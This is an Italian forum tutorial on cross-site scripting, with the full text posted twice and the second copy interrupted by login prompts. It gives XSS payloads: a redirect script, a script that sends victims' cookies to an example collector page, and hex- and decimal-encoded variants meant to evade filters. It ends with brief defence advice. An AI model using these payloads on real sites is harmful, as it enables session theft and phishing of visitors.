- 29 Maggio 2007
- 2.253
- 0
- Miglior risposta
- 0
La Tecnica XSS - Cross Site Scripting
Il motivo della sigla xss e non css , è proprio per evitare di far confondere i meno esperti con la sigla css che in gergo webmaster sta per “Cascading Style Sheets” L’attacco XSS appartiene alla tipologia injection, quindi si tratta di immissione di codice arbitrario in input alle pagine web. A differenza di sql injection ed altri attacchi alle web application trattati precedentemente a questo attacco , sono vulnerabili siti dinamici e non . L’attacco può essere portato a compimento su qualsiasi sito che presenti l’utilizzo di tecnologie come JavaScript, VBScript, ActiveX, HTML e Flash. Per chi non conosce queste tecnologie , basti pensare che si tratta di linguaggi e applicazioni che vengono eseguiti direttamente dal vostro web browser (internet explorer, netscape, Mozilla Firefox, ecc.)
Come al solito, questa vulnerabilità è dovuta agli errori dei programmatori, che molto spesso trascurano completamente la validazione delle informazioni passate in input al sito dagli utenti.
L’attacco Cross Site Scripting è quindi possibile d’attuazione, quando un sito web prende in input dati su cui effettua delle operazioni. Queste informazioni vengono inviate al sito solitamente tramite url. Questi dati, in siti non protetti, vengono visualizzati cosi’ come sono stati inseriti dagli utenti. Potenzialmente la vittima dell’attacco non è solo il sito, ma anche l’utente, proprio perché occorre un semplice link che porta ad una pagina di un sito non protetta per creare danni. Cliccando infatti incautamente su uno di questi link che si può trovare su un sito web o una mail , si può cadere vittima di questo attacco il cui fine è solitamente quello di raccogliere dati degli utenti , leggere i cookie, dirottare l’utente su un altro sito o visualizzare falsa pubblicità.
Analisi dell’attacco
Immaginate di essere su un forum o di scrivere su un guestbook
Nel testo scriveremo un cosa come:
<script>location=’http://www.eurohacker.it/’;</script>
Successivamente salviamo il nostro testo su un forum non protetto da questo attacco e avremo come risultato che chi carica la pagina con il nostro messaggio , sarà reindirizzato al sito
Detto così non sembra poi tanto dannoso, ma pensate se sul sito su cui effettuo il reindirizzamento , creo pagine che permettono la raccolta dei dati ,
utilizzando un codice del tipo:
<script>document.location=’http://www.sito.com/leggo-cookie.asp?’+document.cookie</script>
Ottengo appunto il risultato di poter leggere i cookie rilasciati dal sito vittima e di inviarli ad una pagina appositamente creata per l’archiviazione (leggo-cookie.asp). Se i cookie non sono crittografati , come succede spesso , si ha che l’attaccher otterrà user e password di tutte le persone che visitano la pagina del forum contenente il suo messaggio.Si può pensare anche ad un codice che faccia comparire qualche messaggio di alert come finestre di errore o che carichi all’interno della pagina attaccata un sito esterno.
È possibile ad esempio, manipolare il tag che in html si occupa di visualizzare le immagini in modo che faccia comparire una finestra di alert
<img SRC=’javascript:alert("Skunk")’>
La stessa cosa per eludere eventuali filtri del web master potrebbe essere scritta informato Hex
<img SRC=’%*6A%*61%*76%*61%*73%*63%*72%*69%*70%*74%3A%* 61%*6C%*65%*72%*74%28%22%*4E%
6F%*54%*72%*61%*63%*65%20%*53%*65%*63%*75%*72%*69% *74%*79%20%*54%*45%*53%*54%22%29’>
Oppure in decimale:
<img SRC=’javascript:ale&
#114t("NoTrace Secur&#
105ty TEST")’>
Analizziamo ora un attacco Cross Site Scripting ( XSS ) iniettando codice in un url tramite link :
Pensiamo ad un sito con motore di ricerca in stile google che nel momento in cui clicchiamo sul pulsante “cerca”, invia le informazioni con “metodo get” quindi nell’url del browser. Se ad esempio scriviamo su google “ Anonimato ” e clicchiamo su “cerca” , possiamo leggere nel campo indirizzo del browser una cosa del tipo: /search?q=Anonimato
Tornando al nostro esempio immaginiamo un sito che utilizza lo stesso criterio
Il web master nella pagina cerca.asp avrà implementato un codice che permette di recuperare le informazioni della variabile parola ed effettuare la ricerca; oltre ai risultai della ricerca inserirà sicuramente un codice del tipo :
Sono state trovate 15 risultati per la parola <%=Request.querystring("parola")%>
Il codice Request.querystring("parola") recupera proprio il valore passato in input dall’utentee lo visualizza . In questo caso sarà visualizzato ”Anonimato” .
Se invece di ricercare anonimato si ricercasse una cosa del tipo:
si otterrebbe la comparsa di una finestra di alert con la scritta “ Sicurezza informatica “ .
Si potrebbe ricercare il codice javascript per il redirect o per la lettura dei cookie, il codice cosi scritto, potrebbe essere inserito in una mail e magari codificato in modo da renderlo poco visibile. Potrebbe essere spacciato per un collegamento del sito e renderebbe gli utenti più vulnerabili ad attacchi di phishing. Inserendo ad esempio un redirect nel codice iniettato l’utente crede di andare sul sito
che in caso di attacco phishing sarà sicuramente creato ad immagine e somiglianza del sito vittima rendendo quindi ulteriormente complesso il riconoscimento del phishing
Come difendersi
Per gli sviluppatori è opportuno controllare minuziosamente ogni informazione inserita in input dagli utenti prima di inoltrarla alle proprie applicazioni .
Per gli utenti è necessario cercare di tenere sempre aggiornato il proprio browser, i browser permettono di disabilitare l’utilizzo di linguaggi come javascript, vbscript, activix .
E’ doveroso ricordare che questi articoli non sono stati scritti per attaccare siti e applicazioni, ma per rendere sviluppatori e utenti consapevoli dei pericoli a cui si può andare incontro con questa tipologia di attacchi.
By KingLion MODIFICATA DA ME.
E Solo a scopo informativo.
[CC]Daddy[/CC]
Il motivo della sigla xss e non css , è proprio per evitare di far confondere i meno esperti con la sigla css che in gergo webmaster sta per “Cascading Style Sheets” L’attacco XSS appartiene alla tipologia injection, quindi si tratta di immissione di codice arbitrario in input alle pagine web. A differenza di sql injection ed altri attacchi alle web application trattati precedentemente a questo attacco , sono vulnerabili siti dinamici e non . L’attacco può essere portato a compimento su qualsiasi sito che presenti l’utilizzo di tecnologie come JavaScript, VBScript, ActiveX, HTML e Flash. Per chi non conosce queste tecnologie , basti pensare che si tratta di linguaggi e applicazioni che vengono eseguiti direttamente dal vostro web browser (internet explorer, netscape, Mozilla Firefox, ecc.)
Come al solito, questa vulnerabilità è dovuta agli errori dei programmatori, che molto spesso trascurano completamente la validazione delle informazioni passate in input al sito dagli utenti.
L’attacco Cross Site Scripting è quindi possibile d’attuazione, quando un sito web prende in input dati su cui effettua delle operazioni. Queste informazioni vengono inviate al sito solitamente tramite url. Questi dati, in siti non protetti, vengono visualizzati cosi’ come sono stati inseriti dagli utenti. Potenzialmente la vittima dell’attacco non è solo il sito, ma anche l’utente, proprio perché occorre un semplice link che porta ad una pagina di un sito non protetta per creare danni. Cliccando infatti incautamente su uno di questi link che si può trovare su un sito web o una mail , si può cadere vittima di questo attacco il cui fine è solitamente quello di raccogliere dati degli utenti , leggere i cookie, dirottare l’utente su un altro sito o visualizzare falsa pubblicità.
Analisi dell’attacco
Immaginate di essere su un forum o di scrivere su un guestbook
Nel testo scriveremo un cosa come:
<script>location=’http://www.eurohacker.it/’;</script>
Successivamente salviamo il nostro testo su un forum non protetto da questo attacco e avremo come risultato che chi carica la pagina con il nostro messaggio , sarà reindirizzato al sito
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Detto così non sembra poi tanto dannoso, ma pensate se sul sito su cui effettuo il reindirizzamento , creo pagine che permettono la raccolta dei dati ,
utilizzando un codice del tipo:
<script>document.location=’http://www.sito.com/leggo-cookie.asp?’+document.cookie</script>
Ottengo appunto il risultato di poter leggere i cookie rilasciati dal sito vittima e di inviarli ad una pagina appositamente creata per l’archiviazione (leggo-cookie.asp). Se i cookie non sono crittografati , come succede spesso , si ha che l’attaccher otterrà user e password di tutte le persone che visitano la pagina del forum contenente il suo messaggio.Si può pensare anche ad un codice che faccia comparire qualche messaggio di alert come finestre di errore o che carichi all’interno della pagina attaccata un sito esterno.
È possibile ad esempio, manipolare il tag che in html si occupa di visualizzare le immagini in modo che faccia comparire una finestra di alert
<img SRC=’javascript:alert("Skunk")’>
La stessa cosa per eludere eventuali filtri del web master potrebbe essere scritta informato Hex
<img SRC=’%*6A%*61%*76%*61%*73%*63%*72%*69%*70%*74%3A%* 61%*6C%*65%*72%*74%28%22%*4E%
6F%*54%*72%*61%*63%*65%20%*53%*65%*63%*75%*72%*69% *74%*79%20%*54%*45%*53%*54%22%29’>
Oppure in decimale:
<img SRC=’javascript:ale&
#114t("NoTrace Secur&#
105ty TEST")’>
Analizziamo ora un attacco Cross Site Scripting ( XSS ) iniettando codice in un url tramite link :
Pensiamo ad un sito con motore di ricerca in stile google che nel momento in cui clicchiamo sul pulsante “cerca”, invia le informazioni con “metodo get” quindi nell’url del browser. Se ad esempio scriviamo su google “ Anonimato ” e clicchiamo su “cerca” , possiamo leggere nel campo indirizzo del browser una cosa del tipo: /search?q=Anonimato
Tornando al nostro esempio immaginiamo un sito che utilizza lo stesso criterio
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Il web master nella pagina cerca.asp avrà implementato un codice che permette di recuperare le informazioni della variabile parola ed effettuare la ricerca; oltre ai risultai della ricerca inserirà sicuramente un codice del tipo :
Sono state trovate 15 risultati per la parola <%=Request.querystring("parola")%>
Il codice Request.querystring("parola") recupera proprio il valore passato in input dall’utentee lo visualizza . In questo caso sarà visualizzato ”Anonimato” .
Se invece di ricercare anonimato si ricercasse una cosa del tipo:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Informatica’)></script> ,si otterrebbe la comparsa di una finestra di alert con la scritta “ Sicurezza informatica “ .
Si potrebbe ricercare il codice javascript per il redirect o per la lettura dei cookie, il codice cosi scritto, potrebbe essere inserito in una mail e magari codificato in modo da renderlo poco visibile. Potrebbe essere spacciato per un collegamento del sito e renderebbe gli utenti più vulnerabili ad attacchi di phishing. Inserendo ad esempio un redirect nel codice iniettato l’utente crede di andare sul sito
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
mentre si trova sul sito Perfavore,
Entra
oppure
Registrati
per vedere i Link!
,che in caso di attacco phishing sarà sicuramente creato ad immagine e somiglianza del sito vittima rendendo quindi ulteriormente complesso il riconoscimento del phishing
Come difendersi
Per gli sviluppatori è opportuno controllare minuziosamente ogni informazione inserita in input dagli utenti prima di inoltrarla alle proprie applicazioni .
Per gli utenti è necessario cercare di tenere sempre aggiornato il proprio browser, i browser permettono di disabilitare l’utilizzo di linguaggi come javascript, vbscript, activix .
E’ doveroso ricordare che questi articoli non sono stati scritti per attaccare siti e applicazioni, ma per rendere sviluppatori e utenti consapevoli dei pericoli a cui si può andare incontro con questa tipologia di attacchi.
By KingLion MODIFICATA DA ME.
E Solo a scopo informativo.
[CC]Daddy[/CC]